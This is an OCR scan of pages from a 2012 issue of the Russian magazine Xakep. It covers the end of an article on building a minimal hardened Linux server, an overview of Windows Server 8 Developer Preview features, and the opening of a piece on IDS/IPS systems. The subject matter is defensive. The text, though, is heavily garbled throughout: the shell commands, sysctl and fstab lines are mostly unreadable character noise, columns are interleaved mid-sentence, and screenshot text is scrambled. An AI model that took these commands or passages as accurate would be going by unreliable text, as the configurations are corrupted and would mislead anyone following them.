/etc/rc.d, например:

#.. /et.c:f.r.!;.•.g/ngj,.IJ.~ .. r.e.~Jpr::t..................................................................... .. Далее мы должны предпринять некоторые меры по обеспече­

#... е.. с Ь О.. .' .е. <::.09.. $.cce1(fH.ff.f.f .f... ~.. .(J .. ~.~ . ]. б)) ) .... ~ .. \ .. ...... .I.РгR.с/я.~l!<.еLQе..lLч.Р.сJ~'О!Jл!:1. ·_ ..~ ?J.е.1; .<::.I.r.c:.•.1,.щ а 1.... _ .......... . 1t: ...е.сhR .. · .е..фQ. $_сс ~.~ff.f.f.ffff....л... Н .. 5.~ ..]J! »))... ~... \ ..................... .. ..iрrр.сL.;,У.;,д.егл.Е'!J.l~.<lр.с. Q.Q.uГ!.Q.' ._;» .JЕ'!.t.с/rс:.,. :)..9c:~:). ...................... !t...e.<::op ... ·ec!!.Q...$UI;l~ff.fffff.f ..~ ...O....~cl~).)J ... ;>....\ .......................... . ...... j рrQ(:j~уs.l.ls.g.rо.е.Jj.с.<!Р ~.Qо.\ш.g.: ... ?;>.j~:t cf.r:.C:.,JRc aJ .......... #... e..c.h,9 : е..фR. $.U !')",.fff.Т:f.f.f,f ...л. .. (1...S.5 . 2:I,}l}.. ~. \ ............._ .... ...... Jpr:,9cI~.Y.s. /ke..rn.e.JIc.i!.p .: .b9.YlJ.g. · ....?? .. L.e.t. ~jr..c .•J9c.aJ............. ..

нию внешней безопасности сервера. Статья, конечно, не об этом, но о базовой настройке рассказать все же стоит. Во-первых ,

Эти строки добавляют в ядро после загрузки ограничения

установим пароль для рута:

на загрузку модулей [для защиты от бэкдоров и рут китов!, на

It.. pa.~. ~.wg ....................................

то есть на трассировку процессов, и на различные системные

выполнение системного вызова

chroot,

на выполнение

ptrace,

действия, например на монтирование файловых систем и под­ Во-вторых, заведем непривилегированного пользователя:

ключение

swap.

Пока система не будет перезагружена, отменить

ограничения не сможет никто. включая

root.

#... Y.~ e.r.a.gg...ya.~.Y.a ..................................................................................... В-третьих, отключим гооt-логин по

SSH: Все, теперь у нас есть минималистичный Liпuх-дистрибутив ,

#... ~.!;.h.9....:1'~г:mН.RQR,t.~.Qgj,D . ЛQ. '.... ~.. .I~t.С/.~~.0/~.~.h.Q_cQQjjg......... #.. .f.E'!t.c:f.r:.<::.,.J:1.f.~. ~.hg... L.e.~.t.ar1; .......... ................................ Теперь отредактируем

sysctl.con!,

выполняющий строго определенные функции, но как установить

чтобы применить несколько

классических те хник защиты:

#....ОТ!S@'!<J.е.~ ...ф9РВ.ар.ill1.!:I.r. ..лаJ~е..I.Q !I.... ....................... ........................ Iщt .•J P.\!~.·.Jp_f.QL.w.<J.r:.(J....::...e........................................................................._ ..

#...В.!S!.I.[О·:lаеМ....В.е.Р~tI>и.!Sа.~Iot.!! ...М.<J. РщРJlТа ..,n<!Кет.а ....................................... O~.t.• j,.P.\!~ .• c:9.of., .Qe.,fa.YJ.t .•.rp_Hte..r....'" .. 1 ................................. D.е.:t.j. р\!~,.с.Qлf. •.gЕ'!.fi!IJJ:t .• ац..еРt_~.Q.уr:сеJ.Q.уt~ .=..е.. #...У..ме.!:I.t;>.UJа.е.~ ...к.9J!И.'!~С:Т!lQ.. ЛQ!lТ9.Р.!:I.bI~ .. пере.Дi!.'! .. 5.УNf!.(:IC, ...... _ ш~.t .•Jр\!~ .•.,tс:.Р._~ул<J. с:.k_г:j!,tL;i.е.~...::... 2................................. #... QI.к.J)НJ'!.а~.М...Р.Е'!J!.~.р.е.IS.I!>!....... .......................... ....................... Q~.t ,iру~....сQо,f ., аJJ.•.а.<::..с.е.Р.1;_r~.c;J..iлс:t:; .= ..е............ D.e.:t .•i р.\!4.,..С.Rпf.,.а.11,..~.е..с:цге.Jе.(Ji.r.е..с:t.~ . :: ...е.. . #... ~.[!:IRРиРУ.еМ... Цlир.!J.к.R.!I~.щ;П.Е'!д.,Н.blе.... РJN~.:.".а!JP9.CI1l.......................... Q~.t .•JR\!~ ,Jc:.mp3.c.h9_;i.g)1RL.e_!KR.a!:1.ci;1.~.t~...::...1 ............ .. ................... It.. З!!щи,а ..9.I...:i'т'N~.ф.лу.A.i;l....... ... ....... . .. ................ .. Q.E'!t.•i .R\!.4.• t.C.P_~Y!J c.9.Q.~J.e.~ .. =... 1........... .. 120

(писок установленных пакетов

ХАКЕР

02/157/2012


Лечебное обрезание

его на реальный сервер? Очень просто понадобятся установочный образ

- скопировать. Для этого ArchLinux, чистая болванка,

флешка и немного терпения. Выполняем весь процесс как указано ниже.

1. 2.

3.

В СИСТЕМУ ЧЕРЕЗ ДЫРУ В

Завершаем работу виртуальной машины. Настраиваем ее загрузку с 150-0браза

ArchLinu x,

вставляем в

комп флешку и прокидываем ее в виртуальную машину [с по­ мощью VirtualBox это легко сделаты . Подключаем разделы дистрибутива к каталогу /mnt. На моем виртуальном диске было три раздела: /dev/sda3 - корень , /dev/ sda1 - /boot, /dev/sda4 - /home. Монтируем :

_.... #...m9J.!n.t ..l9~.У.L.~g.!!J..L.!11П.t... _ ..................................._. _.... _......... ........ _... .....#...m.Q),Io:t ..J.Qe.\{j.~.d..~.1../ mn.t/.QQ.Q:t .........................._._ ....... _......_.......... . .... #!119),1.1).t

JcjJ~.Y.L.~9!!4..l. mJ1:t./hQrn~...

ЕСЛИ ВЗЛОМЩИК ПРОНИКНЕТ ВЕБ-СЕРВЕРЕ И ПОЛУЧИТ ПРАВА ПОЛЬЗОВАТЕЛЯ

WWW, ОН ДАЖЕ НЕ СМОЖЕТ ЭАПУСТИТЬЭКСПЛОЙТ

_.............................................._...

13. Правим /etc/fstab следующим образом :

4.

5.

Подключаем флешку к каталогу /media:

Запаковываем систему в архив и кладем его на флешку :

...#. <:.d...L.пю1;.............. . .... #.. t .!!I'....c!=z,f.. /.rn~.di!!lrQ9.t •.tar.• gz . ..... #...~уш;:_................ _.. _... _... .

delip.t.s /.d.evjp.ts.. cjevp:t~ .. d.e..fau:),1s.. ~ .. ~ ...... _.... _... . ._shmJ deyj shm .. tmpf~ Л9.d.еу,.nоsu .i.d е.. е ... ../ de."'/~da1 SW9.P S\:Iap ..d.еfа. чJts е е ... ..L d.eyi -;.da.2../ ext4 . def.9.ult~ .. e. ;1, .••• _•• ... Lr)ev L.~da.3 /w.Ww ext4 .. Q.efaul tS,ЛQе.Х~.С~ nQQev... ~ 1 .l. de\{J.~d.a4 I y.ilC . е.Jc<t.4 ...g~.f9.),I.нs.,л9е..~е.с., п'Qdе.У ...е .;1, .. tmрf.~ .J t.rпр t.!11pfs... d~f~.),IH~. ,r1ge x ec. ,.n.ode.\( .. е е Каталог

6.

7.

Завершаем работу виртуальной машины, нарезаем 150-0браз

/www

будет смонтирован без возможности запуска

файлов и создания устройств, так что если взломщик проникнет

ArchLinux на болванку и идем к серверу, прихватив с собой

в систему через дыру в веб-сервере и получит права пользовате­

флешку и болванку.

ля

Загружаем сервер с болванки и разбиваем диск с помощью

/у аг и /tmp действуют те же правила.

cfdisk,

www,

он даже не сможет запустить эксплоЙт. Для каталогов

Все , теперь можно перезагрузить машину и посмотреть, как

руководствуясь следующей схемой:

все работает .

......$.Q.!!l... ::-: ..~.W!!Р... (JЩ3I1ер: .9.бl;>.~I1 .. Q~)'..." ..Z}j ........................ ..... ~.cjаZ...=-... КQJ;J.g.I:t. !>... (Р!!;!.l1ер .:. 1 .. (6).; ...$.d!!~ .. ::-:..Jwww . {р.!!зl.щр.: ....сТ.О!J.~J~'О~ ....с. кQ!J.!>ко ..tiуJI!.1:!9... ДШI.. хранения

всех файлов веб-сайта)j

....... s.<la.4._=-..Iy.!!.c_.{ р.а.з.!'!.е.р : .. .от .. ~ ..I б.) •.........

ЧА С ТЬ

ОБ Н ОВЛЕ Н ИЕ

6.

Обновить полученный дистрибутив не так-то просто. Для этого потребуется виртуальная машина с установленным

ArchLinux

[самое время восстановить снимок, созданный в начале процес­

саl и sshfs. Процесс выглядит так :

8.

Создаем в разделах файловые системы:

._....# .. JJ1~.f.~ ,..e.X.t~ Jge\{/.~.<I!!.{~.,.J.4} ........... .

1. 2. 3.

Включаем виртуальную машину. Устанавливаем

sshfs.

Обновляем базу данных пакетов и нужные софтины Iнапример,

nginx, Postgre5QL, 55HI:

9.

Монтируем разделы

K/mnt:

... #. piI.cmao.. -SY .... .... . ...#.. !11QЩlt ..I.Qe.\(j~.daZ .../mn.1;........ _..................._............................_......... .#...mkgJc ...Lmo.tL.www..Irnn.t L.y..~.r:_ ........ _........................... .. ... #.. mQ.u!11..l. Q.g\{J.~.Q ~. ;tJrn!1.1; /.www......... _ .. # ..mQ),IlJ.t...I.gey'/~gil4..l.mn.t I y.iI.c.. ...... .

10.

#

4.

...... #.. mQ.uo1 .l. Q.e.\{Is.QJ~;I,.Jrne.Qiij........ .......#... ~.g .. j!!шt................................................._. . ..#...1;ilL... ~ x);f ../.!11.е!! iil/I'.O.Qt.• t!!I'.,.g;?:...

11. Устанавливаем загрузчик: # #

.~ hrQ9.t...I.m01...... gr.),IQ.~.iost!!lJ J9.~yI~g.i!1 ..........

.... .............. _.. ......... _ ... _ ... ....... __.... _. ... _

.. #

5.

ssh

Запоминаем, какие пакеты обновились, и для всех этих паке­ тов , включая

Монтируем флешку и распаковываем архив с системой:

....................

р.i! .с!11ал. .. -~.лgilJ.хр.9.s.tgrе~ql .

Р.ё!.стаn

nginx, Postgre5QL и

55Н, смотрим список файлов:

-Ql.. .ngi!1.>cr19~tgr:'.е.sqJ ..ss.t]._....

Перекидываем файлы на наш сервер с помощью

sshfs :

.....# s~.hfs ... ~.e.pee.p .. /mot ....................... . #fQI'... 1jJ,~ i.!1. .. ' pa.(;mi!n _-Ql...IJgt.пх 1 ..<:.u.t .. -.9 '.. _' .. -.f... 2, ' j ... Qo.\ . ч ...$Ые . L.!11lJti $fi1e..j \ done Готово! Конечно, э то не автоматические обновления каждую ночь, но и не ночной кошмар, тем более что весь процесс вполне

12. Правим

конфиг загрузчика:

.......1;НJе.....~I'.I;.h.цощ_..................... ......... ......... ................... .......CQ.ot ... {b.Q!').,.J)................................................................................................. ...... !s.е.I'.ш~J.. .LtН:>.Qt/.I!.rn1;i..lJ.щ;3.е... r.QQ.t~j Q.е.уIs.d.ijG ..I'.Q.......... _... _........ _.. _. ...... ), n.i1c.d..l.Q.QQ.tJ.!s.er.IJ.~JJe,jJJ1g................ .._......... .

можно реализовать в скрипте.

Ч АСТЬ

7.

В Ы ВОДЫ

В зтой статье приведены только базовые сведения о том, как обезопасить дистрибутив. Каждый сервер имеет свои особен­ ности, которые необходимо учитывать . В любом случае главное правило: чем меньше компонентов, тем лучше . :Х:

ХАКЕР

02/157/2012

121


SYN/ACK

Сергей

«grinder» Яремчук Igгiпdегlasупасk.гul

Рожденный под -.

ци

рои

восемь

- Основной процесс

Центр разработки

разработки

Windows Servermsdn.microsoft. com/en-us/windowsserver.

WinB

планируется

завершить к лету

2012 года . Новая ОС поступит в продажу

в начале 2013-го.

Название Windows

Server 8 является КОДОВЫМ и еще не утверждено

окончательно.

в Win2k8 Server Саге невозможно было использовать

MS SQL Server или Exchange.

-

На прилагаемом

к журналу диске

ты найдешь видеоролик, в котором "оказана установка и

первоначальная

настройка Windows В Developer Preview.

Разработчики обещают, что WinB будет поддерживать СУБД.

WinB будет Функция Нурег-У

выпускаться только

Replica обеспечивает

для 64-разрядных

асинхронную

систем.

репликацию виртуальных

машин на внешние площадки.

ЗНАКОМИМСЯ С

~

WINDOWS SERVER 8

SERVER MANAGER ' DASHBOARD

.@

Welcorne to Server Manager •

ALL~i!VtI15

8

.Ii """''''''''

АС1М O!~fCroRV DO~

configuгe this local server

li or.SSEМiI

odd'oIe<

Работа над «восьмеркой», начавшаяся еще в

2009 году, велась параллельно с разработкой Win2k8, однако официальной информации о новой серверной ОС было совсем мало.

IlOUS ,\НО SutVEJt 61t01JPS 2 . . . .,.,...''''1011_ll_~ ........

Разработчики обещали, что ядро будет написано с нуля, важную роль в системе

.-----

возьмет на себя гипервизор, а кластерные службы станут эффективнее. Как только появилась версия

Developer Preview,

проверить правдивость этих слов.

122

мы решили

8РАr..ш/tS

: 1118

т

.. ~~:

е

' ' ".

WinB получил обновленный Server Manager

ХАКЕР

02/157/2012


Рожденный под цифрой восемь

дdd ROI~ lПd

о

Feiltures Wizard

о

форматы

REST

и

JSON.

По сути, многие штатные инструменты

управления из состава Wiп8 вроде

Installation p гogгess

RSAT и Server Мапаgег пред­ PS, а работа всех мастеров сво­ сценария PS. При этом выполненный

ставляют собой надстройки над BtfIn 'IDU ~

yК!W

instalt4tion progress

--

IГ:1.,------""""'-':"""-"""'-""""-~'".,.""""' --:Con ,-:Iigu-~-tюn-':-w.::-U<;,;::::::::0:',,"0-;".-1

wtndlмs

Po.rShllll scr1p! fot'

ltD

DS

Особенностью инструментария WМllWiпdоws Мапаgеmепt

oeployмm:

uport....f4Odule~l~

Inst;al1 - ...aosFor"t"

~

-D.J.t~l!PiI.th ~С : \W1ndows\NТOSИ -008;I1f71tOdе "w1n2001R2- .

_

:=~=~~r-:g:' -I/''IStil.l1oмs:Str\lC

.

:~'!:-;1ЕНЕ!:~d (ReAd_но~t -ASsкur'St.rfng

-SYS\OU'il.th Mc: \ wtndow$\SYS'oOL-

ранее сценарий можно ско пировать из истории и экспортировать для повторного использования.

.....

Fa.EdilF_YRooНdp

:

дится к созданию и запуску

-fOrCllllpt

.. _

Iпstгumепtаtiоп) в Wiп8 является поддержка стандартов, описы­ вающих взаимодействие между оборудованием и приложениями.

.......

вроде

oI lhe_fort..st.

SMlcS, WSMAN

или ОСОМ. Соответственно, третьим лицам

стало проще писать WМI-проваЙдеры.

-~nt Рuя.ord-)

Диспетчер сервера в Wiп2k8 мне нравился. Он отлично подхо­

.

...

дил для настройки всевозможных пара метров локальной системы,

а с

R2

позволял настраивать и удаленную. В Wiп8 разработчики

пошли дальше и ввели понятие группы серверов. Теперь можно

..:1

управлять несколькими серверами одновременно, а в

Oashboard

выводится информация, собранная со всех систем. Выбрав в спи ­ ске сервер из меню, можно запустить другие средства управления:

консоль

Computer

Мапаgеmепt или

PowerShell.

Практически все

инструменты администрирования, ранее предлагавшиеся в виде

ПР' 'Р.'"'6.,

отдельных консолей, теперь встроены в диспетчер сервера. Сам

GUI,

Любые настройки в

по сути, сводятся к команде

Server Мапаgег выполнен в фирменном стиле Metro, расположение

PowerShel1

окон оптимизировано для современных widе-мониторов. События,

которые требуют внимания админа, подсвечиваются разными

I:J:J'шiЩii

цветами. Фильтры помогают отобрать только необходимую инфор­

Современные тенденции диктуют новые правила для разработ­

мацию, причем запросы можно сохранить и использовать повторно .

чиков операционных систем . Сегодня всё активнее продвигаются

Как и ранее, настройка в основном производится при помо­

«облачные» технологии, многие компании уже используют вирту­

альные структуры Iчастные «облака») или планируют перейти к

щи мастеров. При установке роли можно выбрать один из двух вариантов: роль/компонент или сценарий развертывания ROS.

ним. Большую популярность приобретают виртуальные машины,

Далее мастер предлагает указать

заменяющие целый парк серверов. Сотрудники теперь не при вяза­

диск. По окончании настройки вернуться к мастеру можно из окна

cepBepla) из списка или VOI-

ны к конкретному рабочему месту, так как могут получить доступ

Nоtifiсаtiоп.

к ресурсам компании из любой точки, где есть выход винтернет.

Поэтому при создании Wiп8 во главу угла были поставлены четыре

«ОБЛАКА» И

HYPER-V

компонента: сетевая инфраструктура, удаленный доступ, удобство

Первым широкой общественности был представлен обновленный

управления и виртуализация.

Нурег-У

3.0,

который превратился в одну из ключевых особен­

ностей «восьмерки» И стал основой для создания частных и

ИНСТРУМЕНТЫ УПРАВЛЕНИЯ В

WINDOWS 8

особенно актуально для УМ) и повышает уровень безопасности.

публичных «облаков» . Заявлена поддержка до 160 логических CPU lядер и потоков) и 2 Тб физической памяти, при этом каждая УМ может иметь до 32 vCPU и оперативную память объемом 512 Гб. Никаких лимитов по соотношению реальных и виртуальных CPU не

Однако установить можно было только одну из двух версий ОС: с

установлено, можно запускать столько УМ, сколько потянет обору ­

или без, изменить версию не представлялось возможным. В

дование. Отказоустойчивый кластер, построенный на Wiп8, может

Концепцию Wiп2k8

Server Саге админы приняли благосклонно, поскольку отсутствие GUI снижает системные требования Iчто

GUI

Wiп8 для сервера доступно три варианта интерфейса : один с и два варианта без него. В первой версии без

GUI

GUI

управление осу­

содержать

узла с

63

4000

УМ, имеющими функции

балансировки нагрузки и Мulti-Сhаппеl

Li ve Мigгаtiоп, 5MB Iзта функция обе-

ществляется с помощью командной строки, а во второй IFeatures Оп Оеmапd) вместо GUI и IE в качестве инструментов управления предлагаются

Server

Мапаgег и ммс. Но главное -теперь можно

легко менять интерфейс без переустановки сервера . Благодаря

~

...... Active Directory Domain Services • Overview

-@

этому Wiп8 можно настроить так, чтобы добиться оптимального соотношения между производительностью, безопасностью и удоб­ ством управления.

JКa_' l"<U'!

Положительную реакцию у сообщества вызвало появление в

Wiп2k8 оболочки

PowerShell,

позволяющей автоматизировать за­

.I C. ... I_"'=р_

.....

г__

P'u..._ ........ - " . _ " " .

дачи, обрабатывать большие объемы данных и выполнять команды сразу на множестве подчиненных систем .

Wiп8 получила третью версию

PowerShell,

которая представля­

ет собой серьезный инструмент для выполнения задач, связанных

· .-.-o-w..,~c_o..--

:=::::=:..."":"':-~";:_o...a.y-.--...,..--

с администрированием системы, ролей и сервисав. Число команд­

летав выросло на порядок и составляет уже более

было 130, в PS2 превращает

PS

· _~-..._w"",-~_

i - - ' - _ _ _ _ _ _ _ _ _ _ _ _ __

2300 'В PS1 ИХ

230). Технология автодополнения IпtеlliSепsе

в удобное средство для создания и тестирования

сценариев. Хорошо поддерживаются операции, выполняющиеся

длительное время на большом количестве систем. Серьезно пере­ работанный стек стал более универсальным и переносимым, те ­

W!ndowrts~HiStO'Y

_

c_u-.шмPt~ ПL

.

перь в командлетах в большинстве случаев не нужно обращаться к специфическому

ХАКЕР

02/157/2012

API.

ДЛЯ работы с веб-сервисами

PS

использует

НовыйАDАС

123


I

SYN\ACK

спечивает улучшенную пропускную способность и предоставляет несколько резервных каналов между сервером и хранилищем на

DYNAMIC ACCESS CONTROL

удаленном файловом ресурсе]. Поддержка технологий, речь о которых пойдет далее, была реализована еще в Wiп2k8, теперь же они плотно интегрированы с гипервизором. Так, архитектура неравномерного доступа к памяти

DAC -

NUMA INоп-Uпifогm Memory Access] уменьшает задержки и повы­ шает эффективность работы VM. Это особенно касается мощных серверов, где Hyper-V показывает почти линейное масштабиро­ вание. Технология WHEA IWiпdоws Hardware Еггог Architecture] адаптирует VM к аппаратным сбоям, обнаруживая ошибки. Если устранить проблему нельзя, то система определяет, какая из VM

доступа к файлам на уровне домена и при менять ее ко всем существующим файл - серверам в домене.

пострадала, и пытается ее перезапустить/восстановить, тогда как

трафика

VM,

выделяющие гарантированную полосу пропускания.

Протокол 5МВ версии

остальные продолжают работать в обычном режиме. Технология

Hyper-V Replica

новый механизм контроля доступа к файловой системе,

который позволяет администратору определять единую политику

2.2

получил новую функцию Мulti-Сhаппеl

5МВ, которая призвана устранить одно из типичных узких мест

позволяет создавать копию реплики данных и

отправлять ее на удаленный сервер с последующим запуском. Это

при передаче большого количества данны х

дает возможность быстро перейти на другой сер вер или восстано­

способность сети.

-

низкую пропускную

Теперь для обмена информацией между системами по 5МВ

вить ресурс.

Формат виртуальных дисков

VHDX

изменен для улучшения

одновременно используется несколько сетевых интерфейсов.

масштабируемости, оптимизации и повышения надежности хра­

Новая фича не только увеличивает производительность, но и по­

нения данных и увеличения скорости. Максимальный объем может

вышает устойчивость в случае выхода из строя одной из сетевух

превышать 2 Тб Iма ксимум 16 Тбl, журнал уменьшает риск потери

сервера или маршрутизатора. Гипервизор, кстати, тоже поддержи­

информации. Диски легко объединяются на лету без остановки

вает виртуальное соединение

работы

VM . Том

может быть зашифрован при помощи

BitLocker,

Fibre

Сhаппеl между

VM

по 5МВ. Все

функции Iзахва'r, фильтрация трафика и роутингаl легко расши­

что

обеспечит защиту данных при размещении сервера в «облаке».

ряемы, благодаря чему любой разработчик может добавить новые возможности.

РАБОТА С СЕТЬЮ И УДАЛЕННЫЙ ДОСТУП

Алгоритм компонента ВгапсhСасhе также был модернизирован.

Чтобы Wiп8 могла стать полноценной основой для построения «об­

Теперь , если в локалке уже имеется ста рая версия файла, функция

лака», в сетевую инфраструктуру и реализацию стека были вне­

дедупликации загружает с сервера только его измененную часть,

сены существе нные изменения . С помощью консоли

а не весь файл. Ранее зта технология кеширования работала в фи­

NIC

tеаmiпg

можно объединять до 32 сетевых интерфейсовlлюбых производи­ телей] в один виртуальный lIiпk aggregation], обеспечивая большую

лиальных сетях, а в новой версии она адаптирована и для обмена данными в «об лачных » сервисах.

пропускную способность, балансировку нагрузки и автоматическое

Важным дополнением является DНСР

Guard,

который блоки­

рует DНСР-сообщения от неавторизованных виртуальных машин,

резервирование.

Ранее для этого требовались ути литы сторонних разработчи­ ков и однотипные сетевые карты. Штатная Сопtгоl

Panel

претендующих на звание серверов DНСР. Появились инструменты

не очень

для работы с DНСР

failover.

Технология

DN55EC

позволяет работать

удобна для настройки большого количества сетевых интерфейсов

с DN5-зонами, защищенными цифровой подписью, что исключает

Iвключая виртуальные], поэтому в

атаки типа

Win8 появился новый ком­

плексный инструмент управления IР-адресами -IPAM IIP Address Management]. Новые системы удобно добавлять в список благо­

DN5

5рооfiпg.

Теперь для удаленного доступа к внутренним ресурсам вместо

нескольких ролей

lDirect Access и VPNI предлагается единая

ных IP-аАресах Iдинамических и статических], после чего админ

Uпifiеd Remote Access. Технология Direct Ассеsslчитай статью «Синх ронный заплыв на дальнюю дистанцию » , ][_09_20111 пред­

сортирует их и снабжает метками и описаниями. Доступны отчеты

ставляет собой предпочтительное решение для создания такого

об использовании IP-аАресов. Имеются инструменты для контроля

подключения. Сервер больше не требуется размещать в

даря сканеру, который загружает в консоль все данные о найден­

.....

. ..

il

DMZ,

он

SEaVlkS

Sele<t destination server Select., serwr оп whkh to install roles аnd f"tures.

........

#rSdtd._"-"'-_pooI

r Wкt I

........ Nrcf~

"""" F',_' '.....'

р

This,..",-"~INI'--bнn~br""""""Adds.r-.<

s.-МoNger.. Oumt~cqкtro"""-..ond~

_ _ in

...............

'lllhcho.1.tccllкtionls""~_ ..... ~

r.....-lii~~~~ \'ЛN-lтuntLQQ2Y

1.014

w.r-g

~w....x..s~

.. 7

~~-~~ ~~~~ ~ ~~~

IПIII

. IrEТТ

'

I nI

S,

I

Wnc![JNm.... l Gbpo

ф с~

W-,ftI>eм,.... l Gbps

ф с~

....

\ОЮ/-lnm.tu2QlV .f.PCIk.I_~

'MH- l nm1U2Q2V

.....,-1dttdJ

~·lnnwwQ2V ~~

....

~

Мастеру добавления роли можно указать любой сервер или виртуальный диск

Штатные инструменты позволяют объединить сетевые интерфейсы

ХАКЕР

02/157/2012


Рожденный под цифрой восемь

метаданные и теги документов. Расширяемая архитектура позво­ ляет интегрировать новые разграничительные политики доступа

к ресурсам с

ACL

и другими инструментами аудита и управления

доступом. Что в итоге обеспечит централизованную защиту на уровне доменов файлов, а также папок поверх всех имеющихся разрешений файлов. Администратору уже не нужно знать, на каких ресурсах находятся файлы и каталоги. Правила задаются при помощи

функций АО и групповых политик и при меняются автоматически при создаАИИ объекта. При этом пользователь может просмотреть

список автоматически предлагаемых более подходящие. В

ACL

ACL

или выбрать другие,

учитывается и контекст запроса. Напри­

мер, пользователь может прочитать файл, находясь во внутренней

сети, но получить отказ при подключении через

VPN . Сообщения

о причине блокировки можно редактировать . Также можно задать

порядок действий для получения доступа. Все соответствующие настройки задаются централизованно.

ACТIVE DIRECТORY Изменения, учитывающие особенности работы новой версии ОС, коснулись и службы каталогов

Active Oirectory.

Все настройки,

начиная с процесса развертывания, максимально упрощены. П осле

К новому меню «ПУСК» придется привыкать

установки роли

Active Oirectory Oomain 5ervices

в

5erver

Мапаgег

появляется ссылка, позволяющая запустить мастер, который может находиться и за

Настройка сервера и соединений

NAT'OM.

функционально напоминает ранее использовавшийся

OCPROMO.

упрощена, за всё отвечает мастер.

В процессе создания домена можно установить функциональный

Нововведения не обошли стороной и службу Remote Oesktop 5ervice . Благодаря наличию нового кодека и поддержке протоко­ лов ТСР и UOP трафик снижается на 10 % по сравнению с предыду­ щей версией. Технология RemoteFX, впервые появившаяся в Win2k8R25P1, позволяет виртуализировать видеоадаптер сервера

уровень леса/домена от Win2k3 до Win8.

В Wiп2k8R2 появился новый центр администрирования Active Oirectory IAdministrative Center, АОАС], построенный поверх Power5hell. Его назначение тогда было не совсем понятно, так как, хотя он и обеспечивал удобный доступ к некоторым функциям,

и при удаленном RОР-подключении к виртуальным машинам ис­

многие из них дублировались в ммс. В

пользовать полноценные графические эффекты, включая

ствован . Многие настройки стали более удобными и понятными

OirectX.

Win8

АОАС был усовершен­

бующая массивов

Iнапример, настройка FGPP - fine-grained password policies, ранее выполняемая при помощи А05 1 Edit]. Интерфейс позволяет про­

хранилище

сматривать использованные команды

В поставку

RemoteFX, не тре­ GPU. Настройка сервиса значительно упрощена, образов VOI оптимизировано. Теперь администратор,

Win8

включена улучшенная версия

Power5hell,

которые можно

используя один шаблон как основу, может создавать индивидуаль­

копировать и вставлять в свои скрипты. Корзина АО обзавелась

ные сессии для каждого пользователя . Чтобы система не обраща­

графической оболочкой.

лась каждый раз к серверу, используется локальный кеш, образы могут храниться на локальном диске или сетевых ресурсах .

Код сервера и клиента

NF5

был переписан с нуля. Теперь он

Контроллер домена можно запускать на ми

-

VM

со всеми вкусностя­

копии и снапшоты, позволяющие быстро развернуть резерв­

ный КД. Чтобы не было путаницы и не возникали коллизии, при

работает гораздо быстрее, что должно улучшить взаимодействие с

запуске копии с разными версиями КД во время создания снимка

·пiх-системами.

10 аннулируется, а при загрузке гипервизор проверяет ID текущего КД, запускает 5ysrep и обновляет все данные, приводя систему в

ХРАНЕНИЕ ДАННЫХ

актуальное состояние.

Концепция системы хранения информации была пересмотрена, чтобы сервер мог работать с большими объемами данных, раз­ мещенных на нескольких сотнях виртуальных дисков. Теперь она включает

storage pools,

то есть массивы дисков, которые могут

быть использованы для хранения

VOI,

и

storage spaces -

инстру­

111

Штатный веб-сервер

115

версии

8.0

получил новые функцио-

нальные возможности по интеграции с

Windows Azure,

которые

позволяют создавать легко масштабируемые «облачные» сервисы.

менты для настройки производительности и отказоустойчивости .

Теперь

Новые диски добавляются в пул по мере необходимости и автома­

рованием максимального количества используемых

тически подхватываются системой хранения данных как единый

даря проведенной оптимизации повысилась производительность,

storage pool.

И главное, нет необходимости по купать софт сторон­

115

запускается в индивидуальной «песочнице» С регули­

CPU.

Благо­

сервер требует в три раза меньше памяти. Одним из основных

них разработчиков для 5АТА- и 5А5-дисков. Функция деАУплика­

нововведений в

ции позволяет экономить объем за счет исключения избыточных

обмена сообщениями между браузером и веб-сервером поверх ТСР.

115 является

поддержка протокола

Web50ckets

для

Таким образом, можно без особого труда подключать приложе­

данных в дисковом хранилище.

В случае сбоя проверка большого диска на ошибки при по­

ния для асинхронных источников данных, написанные на

HTML5 .

мощи СНК05К может занять достаточно много времени, в течение

Значительно упрощено управление 55L-сертификатами. Теперь все

которого сервер будет недоступен. В

они находятся в одном хранилище, администратор самостоятель­

Win8 CheckOisk

запускается

в онлайн-режиме и проверяет только проблемный раздел. Сам про­

но настраивает их при вязку к саЙтам . Управлять сертификатами

цесс занимает всего несколько секунд.

также можно при помощи

Power5hell.

Чтобы избежать утечки информации, необходимо четко уста­ новить права доступа к файлам и устройствам для пользователей

ЗАКЛЮЧЕНИЕ

и групп, но чем больше становится данных, тем тяжелее ими управ­

Как видишь, нововведений до'вольно много, и они впечатляют.

лять. Функция динамического доступа, которая появилась в Wiп8,

Хотя, конечно, это еще не финальная версия, и к моменту релиза

автоматизирует работу со списками контроля доступа, используя

некоторые возможности вполне могут измениться.::Х:

ХАКЕР

02/157/2012

125


SYN/ACK

Сергей «grinder» Яремчук Igrinderratux.in.ual

HOBblE

ОСПЕХИ

ДЛЯ IТ-инфраструкту ПРИМЕНЕНИЕ

ID5/

IP5 - ДЕЙСТВЕННЫЙ СПОСОБ ПРЕДОТВРАТИТЬ ВТОРЖЕНИЕ В КОРПОРАТИВНУЮ СЕТЬ

не эффективна против сетевых атак

-

и малварей. На первый план выходят решения

][_12_2010.

класса IDS/IPS, которые могут обнаруживать

Как научить iptabIes

в настоящее время защита, обеспечиваемая

файерволом и антивирусом, уже

и блокировать как известные, так и еще

OMod Security и GгеепSQL-FW

читай в статье «Последний рубеж»,

~ -сайтIРS

«заглядывать»

внутрь пакета, читай в статье ~~Огненный

не известные угрозы.

ТЕ Х НОЛОГИИ

щиТ»,

105

или

IP5,

lYйn9r.! - сайт

Fwsnort.

следует понимать их

принципы работы и назначение. Так, задача 105 Ilntrusion Detection 5ysteml состоит в обнаружении и регистрации атак, а также опове­ щении при срабатывании определенного правила. В зависимости

105 умеют

][_12_2010.

Hogwash Light BR.

cioherdyne.ora/

IDS/ IPS

Чтобы сделать выбор между

от типа,

-

выявлять различные виды сетевых атак, обнару­

tndell

"-М

Downloads

fAQ

Forun

Demo

Reci"nlne

COI'Itec.t & Credits

Smoket • • t

Releted ,tuff

">JO()(

живать попытки неавторизованного доступа или повышения при­

вилегий, появление вредоносного ПО, отслеживать открытие ново­

го порта и т. д . В отличие от межсетевого экрана, контролирующего

Send

только параметры сессии IIP, номер порта и состояние связейl , 105 « заглядывает» внутрь па кета Iдо седьмого уровня 051(, анализируя

tound Injection :

":> ХХХ

передаваемые данные. Существует несколько видов систем обна­

ружения вторжений. Весьма популярны APID5 IApplication protocolbased 1051, которые мониторят ограниченный список прикладных протоколов на предмет специфических атак. Типичными пред­

ставителями этого класса являются

126

PHPID5 Iphpids .org l, анализи-

PHPIDS блокирует неправильные РНР-эапросы

ХАКЕР

02/157/2012


